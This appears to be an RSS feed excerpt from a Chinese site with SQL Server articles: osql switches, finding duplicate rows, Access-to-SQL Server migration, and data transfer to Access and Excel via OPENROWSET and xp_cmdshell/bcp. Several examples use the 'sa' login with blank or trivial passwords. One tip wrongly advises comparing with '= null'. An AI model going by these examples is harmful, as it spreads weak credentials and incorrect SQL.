<br/>不执行批处理就立即退出，无返回值。<br/><br/>EXIT( ) <br/>执行批处理后退出，无返回值。<br/><br/>EXIT(query) <br/>执行包括查询的批处理，返回查询的结果后退出。<br/><br/>状态为 127 的 RAISERROR。 <br/>如果在 osql 脚本中使用 RAISERROR，并且出现状态 127，则 osql 会退出并将消息 ID 返回给客户程序。例如：<br/><br/>RAISERROR(50001, 10, 127)<br/><br/>该错误会导致 osql 脚本终止并将消息 ID 50001 返回给客户程序。<br/><br/>SQL Server 保留介于 -1 到 -99 之间的返回值；osql 定义下列值：<br/><br/>-100 <br/>选择返回值前遇到的错误。<br/><br/>-101 <br/>选择返回值时找不到行。<br/><br/>-102 <br/>选择返回值时发生转换错误。<br/><br/>显示 money 和 smallmoney 数据类型<br/>osql 只用两位小数位数显示 money 和 smallmoney 数据类型，但 SQL Server 用四位小数位数在内部存储这两类数据的值。请看下例：<br/><br/>Sel&#101;ct CAST(CAST(10.3496 AS money) AS decimal(6, 4))<br/><br/>此语句的结果为 10.3496，说明该值是原样按完整的小数位存储的。<br/><br/>-?<br/><br/>显示 osql 开关的语法摘要。<br/><br/>-L<br/><br/>列出在本地配置的服务器和在网络上广播的服务器的名称。<br/><br/>-U login_id<br/><br/>用户登录 ID。登录 ID 区分大小写。<br/><br/>-P password<br/><br/>是用户指定的密码。如果未使用 -P 选项，osql 将提示输入密码。如果在命令提示符的末尾使用 -P 选项而不带密码，osql 使用默认密码 (NULL)。密码区分大小写。<br/><br/>OSQLPASSWORD 环境变量使您得以为当前会话设置默认密码。因此，不需要通过硬编码来在批处理文件中设置密码。<br/><br/>如果没有为 -P 选项指定密码，osql 首先检查 OSQLPASSWORD 变量。如果未设置值，osql 使用默认密码 (NULL)。以下示例在命令提示符处设置 OSQLPASSWORD 变量，然后访问 osql 实用工具：<br/><br/>C:\&gt;SET OSQLPASSWORD=abracadabra<br/>C:\&gt;osql <br/><br/>-E<br/><br/>使用信任连接而不请求密码。<br/><br/>-S server_name[\instance_name]<br/><br/>指定要连接的 Microsoft® SQL Server™ 2000 实例。在该服务器上指定 server_name 以连接到 SQL Server 的默认实例。在该服务器上指定 server_name\instance_name 以连接到一个已命名的 SQL Server 2000 的实例。如果未指定服务器，osql 将连接到本地计算机上的 SQL Server 默认实例。从网络上的远程计算机执行 osql 时，此选项是必需的。<br/><br/>-H wksta_name<br/><br/>是工作站名称。工作站名称存储在 sysprocesses.hostname 中并由 sp_who 显示。如果未指定此选项，则采用当前计算机名称。<br/><br/>-d db_name<br/><br/>启动 osql 时发出一个 USE db_name 语句。<br/><br/>-l time_out<br/><br/>指定 osql 登录超时之前的秒数。登录到 osql 的默认超时为 8 秒。<br/><br/>-t time_out<br/><br/>指定命令超时之前的秒数。如果未指定 time_out 值，则命令不会超时。<br/><br/>-h headers<br/><br/>指定要在列标题之间打印的行数。默认为每一查询结果集打印一次标题。用 –1 指定不打印标题。如果使用 -1，则在参数和设置之间一定不能有空格（可以是 -h-1，不能是 -h –1）。<br/><br/>-s col_separator<br/><br/>指定列分隔符字符，其默认为空格。若要使用对操作系统有特殊含义的字符（例如 | ; &amp; &lt; &gt;），请将该字符用双引号 (&#34;) 引起来。<br/><br/>-w column_width<br/><br/>允许用户设置屏幕输出的宽度。默认为 80 个字符。当输出行达到其最大屏幕宽度时，会拆分为多个行。<br/><br/>-a packet_size<br/><br/>使您得以请求不同大小的数据包。packet_size 的有效值在 512 到 65535 之间。osql 的默认值为服务器的默认值。数据包大小的增加可以提高较大脚本执行的性能，在这种执行中 GO 命令之间 SQL 语句的数量很重要。Microsoft 的测试表明 8192 是大容量复制操作典型的最快设置。可以请求更大的数据包大小，但如果请求不能得到批准，则 osql 默认为服务器的默认值。<br/><br/>-e<br/><br/>回显输入。<br/><br/>-I<br/><br/>设置 QUOTED_IDENTIFIER 连接选项为开启。<br/><br/>-D data_source_name<br/><br/>连接到用 Microsoft SQL Server 的 ODBC 驱动程序定义的 ODBC 数据源。osql 连接使用该数据源中指定的选项。<br/><br/><br/> <br/>说明&nbsp;&nbsp; 该选项不适用于其它驱动程序定义的数据源。<br/><br/><br/>-c cmd_end<br/><br/>指定命令终止符。默认情况下，通过单独在一行中输入 GO 来终止命令并将其发送到 SQL Server 2000。在重置命令终止符时，不要使用对操作系统有特殊含义的 Transact-SQL 保留字或字符，无论其前面是否有反斜杠。<br/><br/>-q &#34;query&#34;<br/><br/>启动 osql 时执行查询，但是在查询完成时不退出 osql。（注意查询语句不应包含 GO）。如果从批处理文件中发出查询，请使用 %variables 或环境 %variables%。例如：<br/><br/>SET table = sysobjects<br/>osql /q &#34;Sel&#101;ct * from %table%&#34;<br/><br/>将查询用双引号引起来，将查询中嵌入的任何内容用单引号引起来。<br/><br/>-Q &#34;query&#34;<br/><br/>执行查询并立即退出 osql。将查询用双引号引起来，将查询中嵌入的任何内容用单引号引起来。<br/><br/>-n<br/><br/>从输入行中删除编号和提示符号 (&gt;)。<br/><br/>-m error_level<br/><br/>自定义错误信息的显示。显示指定的或更高严重级别错误的消息数、状态和错误级别。不显示严重级别低于指定级别的错误的任何信息。用 -1 指定与消息一起返回所有标题，即使是信息类的消息。如果用 –1，则在参数和设置之间不能有空格（可以是 -m-1，不能是 -m -1）。<br/><br/>-r {0 | 1}<br/><br/>将消息输出重定向到屏幕 (stderr)。如果未指定参数，或指定参数为 0，则仅重定向严重级别为 17 或更高的错误信息。如果指定参数为 1，则将重定向所有消息输出（包括 &#34;print&#34;）。<br/><br/>-i input_file<br/><br/>标识包含一批 SQL 语句或存储过程的文件。小于 (&lt;) 比较运算符可以用来代替 –i。<br/><br/>-o output_file<br/><br/>标识从 osql 接收输出的文件。大于 (&gt;) 比较运算符可以用来代替 –o。<br/><br/>如果 input_file 不是 Unicode 并且没有指定 -u，则 output_file 将存储为 OEM 格式。如果 input_file 是 Unicode 或者指定了 -u，则 output_file 将存储为 Unicode 格式。<br/><br/>-p<br/><br/>打印性能统计。<br/><br/>-b<br/><br/>指定发生错误时 osql 退出并返回一个 DOS ERRORLEVEL 值。当 SQL Server 错误信息的严重级别为 10 或更高时，返回给 DOS ERRORLEVEL 变量的值为 1；否则返回 0。Microsoft MS-DOS® 批处理文件可以测试 DOS ERRORLEVEL 的值并适当处理错误。<br/><br/>-u<br/><br/>指定 output_file 存储为 Unicode 格式，而不管 input_file 为何种格式。<br/><br/>-R<br/><br/>指定在将货币、日期和时间数据转换为字符数据时 SQL Server ODBC 驱动程序使用客户端设置。<br/><br/>-O<br/><br/>为与 isql 的早期版本行为匹配，指定停用某些 osql 功能。下列功能停用：<br/><br/>EOF 批处理 <br/>控制台宽度自动调整 <br/>宽信息 <br/>同时还将 DOS ERRORLEVEL 的默认值设置为 –1。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1900.htm</link>
			<title><![CDATA[取出SQL中相同的记录]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,01 Jun 2008 11:34:26 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1900</guid>
		<description><![CDATA[有时候需要在查询数据时找出有哪些记录是相同的，这就需要取出相同的记录，可以用下面的查询语句<br/><br/>sel&#101;ct * from 表名 wh&#101;re 字段名 in (sel&#101;ct 字段名 from 表名 group by 字段名 having count（字段名）&gt;1)<br/><br/>exp:Sel&#101;ct * from o&#114;ders wh&#101;re actiondate in (sel&#101;ct actiondate from o&#114;ders group by actiondate having count(actiondate)&gt;1)<br/>说明：<br/><br/>先按字段分组再取出字段总数大于1的记录，再在原表中取出所有的相同记录<br/><br/>sel&#101;ct * from openrowset(&#39;sqloledb&#39;,&#39;mydb&#39;;&#39;sa&#39;;&#39;sa&#39;,&#39;sel&#101;ct*from hbdb.dbo.data$&#39;)<br/><br/>wh&#101;re 时间 in (sel&#101;ct 时间 from openrowset(&#39;sqloledb&#39;,&#39;mydb&#39;;&#39;sa&#39;;&#39;sa&#39;,&#39;sel&#101;ct*from hbdb.dbo.data$&#39;) group by 时间 having count(时间)&gt;1)<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1821.htm</link>
			<title><![CDATA[ACCESS改为SQL需要注意哪几个地方]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 11:06:35 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1821</guid>
		<description><![CDATA[看到别人有时问这个方面的问题。。于是在各网站总结前前辈高人的几点想法，拿来共享：<br/><br/>数据库导入以后，自动增加字段需要重写，所有的数字类型需要增加长度，最好用decimal。<br/><br/>所有的默认值都丢失了。主要是数字类型和日期类型。<br/><br/>所有now()，time()，date()要改成getdate()。<br/><br/>所有datediff(&#39;d&#39;, time1, time2)要改成datediff(day, time1, time2)<br/><br/>有可能一些true/false类型不能使用，要变为1/0。<br/><br/>备注类型要通过cast(column as varchar)来使用。<br/><br/>CursorType要改成1,也就是打开数据库时要给出第一个数字参数为1，否则记录可能显示不完整。<br/><br/>isnull(rowname)要改成rowname = null<br/><br/>ACCESS的数据库中的自动编号类型在转化时，sql server并没有将它设为自动编号型，我们需在SQL创建语句中加上identity，表示自动编号！<br/><br/>转化时，跟日期有关的字段，SQL SERVER默认为smalldatetime型，我们最好将它变为datetime型，因为datetime型的范围比smalldatetime型大。有时用smalldatetime型时，转化失败，而用datetime型时，转化成功。<br/><br/>对此两种数据库进行操作的sql语句不全相同，例如：在对ACCESS数据库进行删除纪录时用：&#34;del&#101;te * from user wh&#101;re id=10&#34;,而对SQL SERVER数据库进行删除是用：&#34;del&#101;te user wh&#101;re id=10&#34;.<br/><br/>日期函数不相同，在对ACCESS数据库处理中，可用date()、time()等函数，但对SQL SERVER数据库处理中，只能用datediff,dateadd等函数，而不能用date()、time()等函数。<br/><br/>在对ACCESS数据库处理中,sql语句中直接可以用一些VB的函数，像cstr()函数，而对SQL SERVER数据库处理中，却不能用。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1820.htm</link>
			<title><![CDATA[将Access数据库移植到SQL Server 7.0]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 11:06:11 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1820</guid>
		<description><![CDATA[简介<br/><br/>随着用户对于企业级高性能数据库的需求的增长，用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到Microsoft SQL Server的客户-服务器环境。Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和查询转移到SQL Server 7.0中。如果您用的是Access的较早的版本，您可以先将它升级为Access 2000，然后再使用其中的Upsizing Wizard，从而将您的应用移植到SQL Server中。<br/><br/>如果您并不太愿意采用Access 2000 和Upsizing Wizard来实现移植，本文可以作为将Access 2000移植到SQL Server的一个指南。转移一个Access上的应用首先需要将数据转移到SQL Server，然后将查询转移进数据库，或是转移为SQL文件以备稍后执行。最后要采取的步骤是移植应用程序。<br/><br/>数据库移植中用到的SQL Server 工具<br/><br/>SQL Server管理器（SQL Server Enterprise Manager）<br/><br/>SQL Server管理器 允许对SQL Server以及SQL Server中的对象进行企业级的配置和管理。SQL Server管理器提供一个强有力的scheduling引擎，高度的容错力和一个嵌入式的复制管理界面。使用SQL Server管理器可以实现以下功能：<br/><br/>管理连接和用户许可<br/><br/>创建脚本程序<br/><br/>管理SQL Server对象的备份<br/><br/>备份数据和事务处理日志<br/><br/>管理表、视图、存储过程、触发器、索引、规则、默认值以及用户定义的数据类型<br/><br/>建立全文本索引、数据库图表和数据库维护计划<br/><br/>输入和输出数据<br/><br/>转换数据<br/><br/>执行各种网络管理任务<br/><br/>在以Microsoft Windows NT为操作系统的计算机中，SQL Server Manager由SQL Server Setup进行安装，并被默认为服务<br/>器组件，而在运行着Windows NT 和Microsoft Windows 95的机器上，它将被默认为客户方组件。您将从SQL Server <br/>Manager的图形用户界面中启动数据转移服务（DTS，Data Transformation Services）。<br/><br/>数据转移服务（Data Transformation Services ，DTS)<br/><br/>数据转移服务允许您在多种异构数据源之间输入和输出数据，这些数据源采用基于数据库的OLE体系结构；或在使用SQL <br/>Server 7.0的多个计算机之间转移数据库和数据库对象；您还可以通过运用数据转移服务，更便捷地在一个在线事务处理<br/>系统（OLTP）中建立数据仓库和数据中心。<br/><br/>DTS Wizard允许您交互地创建DTS包，通过OLE DB和ODBC来输入、输出、验证和转移数据。DTS Wizard还允许您在关系型数<br/>据库之间拷贝图解（schema）和数据。<br/><br/>SQL Server 查询分析器（Query Analyzer）<br/><br/>SQL Server 查询分析器是一种图形化的查询工具，通过它您可以分析一个查询，同时执行多个查询，查看数据和获取索引<br/>建议。SQL Server 查询分析器提供了showplan选项，可用来显示SQL Server查询优化器所选择的数据提取方法。<br/><br/>SQL Server Profiler<br/><br/>SQL Server Profiler可以实时地捕获数据库服务器活动的连续记录。SQL Server Profiler允许您监控SQL Server产生的<br/>事件，过滤基于用户指定标准的事件，或将操作步骤输出到屏幕、文件或数据表。运用SQL Server Profiler，您可以重新<br/>执行所捕获的上一次操作。这种工具可以帮助应用程序开发者识别那些可能会降低应用程序性能的事务处理。在将一个基<br/>于文件体系结构的应用程序移植到客户/服务器结构中时该特性是很有用的，因为它的最后一步包括对面向新的客户/服务<br/>器环境的应用程序进行优化。<br/><br/>转移表和数据<br/><br/>使用DTS Wizard将您的Access数据转移到SQL Server，可采取以下步骤：<br/><br/>在 SQL Server Manager（Enterprise Manager）的工具菜单中，鼠标指向“Data Transformation Services”, 然后点击<br/>“Import Data.”<br/><br/>在“选择数据源”（ Choose a Data Source）的对话窗口中，选择Microsoft Access为数据源，然后输入您的．mdb文件<br/>名（mdb为文件扩展名）或者选择浏览文件。<br/><br/>在“选择数据目标”（Choose a Destination）的对话窗口中，选择“Microsoft OLE DB Provider for SQL Server”，<br/>再选择好数据库服务器，然后点击所需的认证模式。<br/><br/>在“指定表备份或查询”（ Specify Table Copy o&#114; Query）的对话窗口中，点击“拷贝表”（Copy tables）。<br/><br/>在“选择数据源”的对话窗口中，点击“选择所有项”（ Sel&#101;ct All）。<br/><br/>移植Microsoft Access查询<br/><br/>您可以将Access的查询以下面的格式之一转移至SQL Server中：<br/><br/>事务处理SQL脚本程序（Transact-SQL scripts ）<br/><br/>事务处理SQL语句通常是由数据库程序调用的，但是您也可以使用SQL Server 7.0中包含的SQL Server 查询分析器直接运<br/>行它们。SQL Server 查询分析器可帮助开发者测试事务处理SQL语句，或运行那些执行查询处理、数据操作（插入，修<br/>改，删除）和数据定义（创建表）的事务处理SQL语句。<br/><br/>存储过程（Stored procedures ）<br/><br/>开发者可以将大部分产生自Access查询（查找，插入，修改，删除）的事务处理SQL语句转移至存储过程。用事务处理SQL<br/>语句书写的存储过程可以用来对您的数据存取打包，并使之标准化，而且存储过程实际上是存储在数据库中的。存储过程<br/>可以带参数，也可不带参数，可以由数据库程序调用或者由SQL Server查询分析器手动执行。<br/><br/>视图（Views ）<br/><br/>视图是从一个或多个表中显示特定的行和列的虚拟表。它们允许用户可以不直接执行构成查询基础的复杂连接而建立查<br/>询。视图不支持参数的使用。连接多个数据表的视图不能用Ins&#101;rt, Up&#100;ate或 Del&#101;te语句来修改。视图由事务处理SQL语<br/>句调用，也可用于SQL Server查询分析器中运行的程序段。SQL Server视图和SQL-92标准不支持视图中的ORDER BY排序子<br/>句。如欲了解事务处理SQL，存储过程和视图的其他信息，请参阅SQL Server 在线参考书。<br/><br/>Access查询类型的SQL Server移植选择与建议<br/><br/>一个Sel&#101;ct语句可以存储在事务处理SQL文件、存储过程或是视图中。建立存储过程是将数据库应用开发与数据库设计的物<br/>理实施分开的最佳方法。存储过程可在一处创建而由应用程序调用。<br/><br/>如果存储过程所基于的数据库变化了，而存储过程经过仔细的修改以反应这些变化，则对存储过程的调用将不会受到破<br/>坏。<br/><br/>交叉表（CROSSTAB）<br/><br/>交叉表经常用于总结报表。<br/><br/>一个Access的交叉表可以通过SQL程序段、存储过程或视图中的事务处理SQL语句来执行。每当发出一个查询时，数据连接<br/>被重现执行以确保最近的数据得到使用。<br/><br/>根据实际应用情况，比较合适的方法是将交叉表中的数据存储为一个临时表（参考下面的MAKE TABLE），临时表对资源的<br/>需求比较少，但是临时表在建立的同时只提供对数据的一个快照（snapshot）。<br/><br/>创建表（MAKE TABLE） <br/><br/>Access中的“MAKE TABLE”（ 创建表）可以通过事务处理SQL脚本程序或存储过程中的事务处理SQL语言的建表语句<br/>“Cr&#101;ate TABLE”来执行。语法如下所示：<br/><br/>Sel&#101;ct [ ALL / DISTINCT ]<br/><br/>[ {TOP integer / TOP integer PERCENT} [ WITH TIES] ] <br/><br/>&lt;sel&#101;ct_list&gt;<br/><br/>[ INTO new_table ]<br/><br/>[ FROM {&lt;table_source&gt;} [,…n] ]<br/><br/>[ Wh&#101;re &lt;search_condition&gt; ]<br/><br/>[ GROUP BY [ALL] group_by_e&#173;xpression [,…n] <br/><br/>[ WITH { CUBE / ROLLUP } ]<br/><br/>Cr&#101;ate TABLE mytable (low int, high int)<br/><br/>Up&#100;ate（修改）<br/><br/>Up&#100;ate语句可以存储在事务_SQL脚本程序中，然而比较好地执行Up&#100;ate语句的方法是创建一个存储过程。<br/><br/>APPEND（添加）<br/><br/>ALLEND语句可以存储在事务_SQL脚本程序中，然而比较好地执行APPEND语句的方法是创建一个存储过程。<br/><br/>移植Microsoft Access的查询到存储过程和视图<br/><br/>每个Access查询都必须用以下的一系列语句替换：<br/><br/>Cr&#101;ate PROCEDURE &lt;NAME_HERE&gt; AS<br/><br/>&lt; Sel&#101;ct, Up&#100;ate, Del&#101;te, Ins&#101;rt, Cr&#101;ate TABLE statement from Microsoft Access &gt;<br/><br/>GO<br/><br/>Cr&#101;ate VIEW &lt;NAME_HERE&gt; AS<br/><br/>&lt;Place (Sel&#101;ct only, with no parameters) Microsoft Access Query&gt;<br/><br/>GO<br/><br/>对每个Access查询应执行：<br/><br/>打开Access，然后在SQL Server中，打开SQL Server查询分析器。<br/><br/>在Access的数据库窗口中点击“Queries”tab键，然后点击“Design”按钮。<br/><br/>在“View”菜单上点击“SQL”按钮。<br/><br/>将整个查询粘贴到SQL Server查询分析器中。<br/><br/>测试语法，保存事务处理SQL语句以备后用，或者在数据库中执行这些语句。您可以选择将事务处理SQL语句保存到一段脚<br/>本程序中。<br/><br/>移植Microsoft Access查询到事务处理SQL语句<br/><br/>大部分的Access查询应该转换成存储过程和视图。然而，有一些应用程序开发者不太常用的语句可以存储为事务处理SQL脚<br/>本，一种以sql为文件扩展名的文本文件。 这些文件可以在SQL Server查询分析器中运行。<br/><br/>如果您打算将一些Access查询转换为sql文件的话，可以考虑根据它们使用的方式有区别地将这些事务处理SQL语句分别放<br/>在几个脚本程序中。例如，您可以将必须以同样频率运行的事务处理SQL语句归类到同一个脚本中。另一个脚本中则应包含<br/>所有只在某些条件下运行的事务处理SQL语句。此外，必须以一定顺序执行的事务处理SQL语句应当归类到一个不连续的脚<br/>本中。<br/><br/>将Access语句转移到事务处理SQL 文件<br/><br/>将语句拷贝到SQL Server查询分析器中<br/><br/>使用蓝色的多选项图标分析语句<br/><br/>在适当时候执行该语句<br/><br/>要执行Access中的创建表（MAKE TABLE）的查询任务的开发者在SQL Server中有几种选择。开发者可创建下列对象之一：<br/><br/>一个视图<br/><br/>视图具有动态的虚拟表的效果，可提供最近的信息。这是一个输入/输出强化器，因为每当发出一个查询时它都要求对数据<br/>表重现建立连接。<br/><br/>一个临时表<br/><br/>临时表为已连接的用户会话建立一个快照。您可以建立局部的或全局的临时表。局部临时表只在当前会话中可见，而全局<br/>临时表则在所有会话都是可见的。在局部临时表的名字前加上单个数字的前缀（(#table_name)），而在全局临时表的名字<br/>前加上两位数字的前缀(##table_name)。对临时表的查询执行起来非常快，因为它们取得一个结果集的时候通常只用一个<br/>表，而不是将多个表动态地连接在一起来。<br/><br/>如欲了解临时表的其他信息，请参阅SQL Server在线参考书。<br/><br/>SQL Server 7.0中的数据转换服务（DTS）允许您通过创建包来实现临时表建立的标准化、自动化和进度安排。例如，当您<br/>移植Access 2.0中的Northwind 范例数据库时，用于季度数据报表的交叉表可转变为一个视图或者一个可在规范基础上建<br/>立临时表的数据转换。如欲了解关于DTS的其他信息，请参阅SQL Server在线参考书。<br/><br/>其他设计上的考虑<br/><br/>下面是当您将您的Access应用移植到SQL Server时必须考虑的一些其他问题：<br/><br/>使用参数<br/><br/>带参数的SQL Server存储过程需要一种不同于Access查询的语法格式，例如： <br/><br/>Access 2.0格式：<br/><br/>查询名：Employee Sales By Country, in NWIND.mdb:<br/><br/>PARAMETERS [Beginning Date] DateTime, [Ending Date] DateTime;<br/><br/>Sel&#101;ct o&#114;ders.[Order ID], [Last Name] &amp; &#34;, &#34; &amp; [First Name] AS Salesperson, Employees.Country, o&#114;ders.<br/>[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]<br/><br/>FROM Employees INNER JOIN (Orders INNER JOIN [Order Subtotals] ON o&#114;ders.[Order ID] = [Order Subtotals].<br/>[Order ID]) ON Employees.[Employee ID] = o&#114;ders.[Employee ID]<br/><br/>Wh&#101;re (((Orders.[Shipped Date]) Between [Beginning Date] And [Ending Date]))<br/><br/>o&#114;DER BY [Last Name] &amp; &#34;, &#34; &amp; [First Name], Employees.Country, o&#114;ders.[Shipped Date];<br/><br/>SQL Server 7.0格式：<br/><br/>Cr&#101;ate PROCEDURE EMP_SALES_BY_COUNTRY <br/><br/>@BeginningDate datetime,<br/><br/>@EndingDate datetime<br/><br/>AS<br/><br/>Sel&#101;ct o&#114;ders.[Order ID], [Last Name] + &#34;, &#34; + [First Name] AS Salesperson, Employees.Country, <br/><br/>o&#114;ders.[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]<br/><br/>FROM Employees INNER JOIN (Orders INNER J<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1819.htm</link>
			<title><![CDATA[SQL SERVER与ACCESS、EXCEL的数据转换]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 11:05:45 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1819</guid>
		<description><![CDATA[熟悉SQL SERVER 2000的数据库管理员都知道，其DTS可以进行数据的导入导出，其实，我们也可以使用Transact-SQL语句进行导入导出操作。在Transact-SQL语句中，我们主要使用OpenDataSource函数、OPENROWSET 函数，关于函数的详细说明，请参考SQL联机帮助。利用下述方法，可以十分容易地实现SQL SERVER、ACCESS、EXCEL数据转换，详细说明如下： <br/><br/><br/>一、SQL SERVER 和ACCESS的数据导入导出 <br/><br/>常规的数据导入导出： <br/><br/>使用DTS向导迁移你的Access数据到SQL Server，你可以使用这些步骤: <br/><br/>　　1在SQL SERVER企业管理器中的Tools（工具）菜单上，选择Data Transformation <br/><br/>　　2Services（数据转换服务），然后选择&nbsp;&nbsp;czdImport Data（导入数据）。 <br/><br/>　　3在Choose a Data Source（选择数据源）对话框中选择Microsoft Access as the Source，然后键入你的.mdb数据库(.mdb文件扩展名)的文件名或通过浏览寻找该文件。 <br/><br/>　　4在Choose a Destination（选择目标）对话框中，选择Microsoft OLE　DB Prov ider for SQL　Server，选择数据库服务器，然后单击必要的验证方式。 <br/><br/>　　5在Specify Table Copy（指定表格复制）或Query（查询）对话框中，单击Copy tables（复制表格）。 <br/><br/>6在Sel&#101;ct Source Tables（选择源表格）对话框中，单击Sel&#101;ct All（全部选定）。下一步，完成。 <br/><br/> <br/><br/>Transact-SQL语句进行导入导出： <br/><br/>1. 在SQL SERVER里查询access数据: <br/><br/>-- ====================================================== <br/><br/>Sel&#101;ct * <br/><br/>FROM OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/>&#39;Data Source=&#34;c:\DB.mdb&#34;;User ID=Admin;Password=&#39;)...表名 <br/><br/>2.将access导入SQL server <br/><br/>-- ====================================================== <br/><br/>在SQL SERVER 里运行: <br/><br/>Sel&#101;ct * <br/><br/>INTO newtable <br/><br/>FROM OPENDATASOURCE (&#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/>&#39;Data Source=&#34;c:\DB.mdb&#34;;User ID=Admin;Password=&#39; )...表名 <br/><br/><br/>3. 将SQL SERVER表里的数据插入到Access表中 <br/><br/>-- ====================================================== <br/><br/>在SQL SERVER 里运行： <br/><br/>ins&#101;rt into OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/> &#39;Data Source=&#34; c:\DB.mdb&#34;;User ID=Admin;Password=&#39;)...表名 <br/><br/>(列名1,列名2) <br/><br/>sel&#101;ct 列名1,列名2&nbsp;&nbsp;from&nbsp;&nbsp;sql表 <br/><br/> <br/><br/>实例： <br/><br/>ins&#101;rt into&nbsp;&nbsp;OPENROWSET(&#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/>&nbsp;&nbsp;&#39;C:\db.mdb&#39;;&#39;admin&#39;;&#39;&#39;, Test) <br/><br/>sel&#101;ct id,name from Test <br/><br/><br/>Ins&#101;rt INTO OPENROWSET(&#39;Microsoft.Jet.OLEDB.4.0&#39;, &#39;c:\trade.mdb&#39;; &#39;admin&#39;; &#39;&#39;, 表名) <br/><br/>Sel&#101;ct * <br/><br/>FROM sqltablename <br/><br/><br/>二、 SQL SERVER 和EXCEL的数据导入导出 <br/><br/> <br/><br/>1、在SQL SERVER里查询Excel数据: <br/><br/>-- ====================================================== <br/><br/>Sel&#101;ct * <br/><br/>FROM OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/>&#39;Data Source=&#34;c:\book1.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0&#39;)...[Sheet1$] <br/><br/> <br/><br/>下面是个查询的示例，它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。 <br/><br/>Sel&#101;ct * <br/>FROM OpenDataSource ( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/> &#39;Data Source=&#34;c:\Finance\account.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0&#39;)...xactions <br/><br/><br/>2、将Excel的数据导入SQL server : <br/><br/>-- ====================================================== <br/><br/>Sel&#101;ct * into newtable <br/><br/>FROM OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/> &#39;Data Source=&#34;c:\book1.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0&#39;)...[Sheet1$] <br/><br/> <br/><br/>实例: <br/><br/>Sel&#101;ct * into newtable <br/><br/>FROM OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/> &#39;Data Source=&#34;c:\Finance\account.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0&#39;)...xactions <br/><br/><br/>3、将SQL SERVER中查询到的数据导成一个Excel文件 <br/><br/>-- ====================================================== <br/><br/>T-SQL代码： <br/><br/>EXEC master..xp_cmdshell &#39;bcp 库名.dbo.表名out c:\Temp.xls -c -q -S&#34;servername&#34; -U&#34;sa&#34; -P&#34;&#34;&#39; <br/><br/>参数：S 是SQL服务器名；U是用户；P是密码 <br/><br/>说明：还可以导出文本文件等多种格式 <br/><br/> <br/><br/>实例:EXEC master..xp_cmdshell &#39;bcp saletesttmp.dbo.CusAccount out c:\temp1.xls -c -q -S&#34;pmserver&#34; -U&#34;sa&#34; -P&#34;sa&#34;&#39; <br/><br/> <br/><br/>EXEC master..xp_cmdshell &#39;bcp &#34;Sel&#101;ct au_fname, au_lname FROM pubs..authors o&#114;DER BY au_lname&#34; queryout C:\ authors.xls -c -Sservername -Usa -Ppassword&#39; <br/><br/> <br/><br/>在VB6中应用ADO导出EXCEL文件代码： <br/><br/>Dim cn&nbsp;&nbsp;As New ADODB.Connection <br/><br/>cn.open &#34;Driver={SQL Server};Server=WEBSVR;DataBase=WebMis;UID=sa;WD=123;&#34; <br/><br/>cn.execute &#34;master..xp_cmdshell &#39;bcp &#34;Sel&#101;ct col1, col2 FROM 库名.dbo.表名&#34; queryout E:\DT.xls -c -Sservername -Usa -Ppassword&#39;&#34; <br/><br/><br/>4、在SQL SERVER里往Excel插入数据: <br/><br/>-- ====================================================== <br/><br/>ins&#101;rt into OpenDataSource( &#39;Microsoft.Jet.OLEDB.4.0&#39;, <br/><br/>&#39;Data Source=&#34;c:\Temp.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0&#39;)...table1 (A1,A2,A3) values (1,2,3) <br/><br/> <br/><br/>T-SQL代码： <br/><br/>Ins&#101;rt INTO&nbsp;&nbsp; <br/><br/>OPENDATASOURCE(&#39;Microsoft.JET.OLEDB.4.0&#39;,&nbsp;&nbsp; <br/><br/>&#39;Extended Properties=Excel 8.0;Data source=C:\training\inventur.xls&#39;)...[Filiale1$]&nbsp;&nbsp; <br/><br/>(bestand, produkt) VALUES (20, &#39;Test&#39;)&nbsp;&nbsp; <br/><br/><br/>总结：利用以上语句，我们可以方便地将SQL SERVER、ACCESS和EXCEL电子表格软件中的数据进行转换，为我们提供了极大方便！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1817.htm</link>
			<title><![CDATA[将现有的Access数据库升级为SQL]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 11:04:07 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1817</guid>
		<description><![CDATA[<span class="t18"><font size="3">&nbsp;</font>
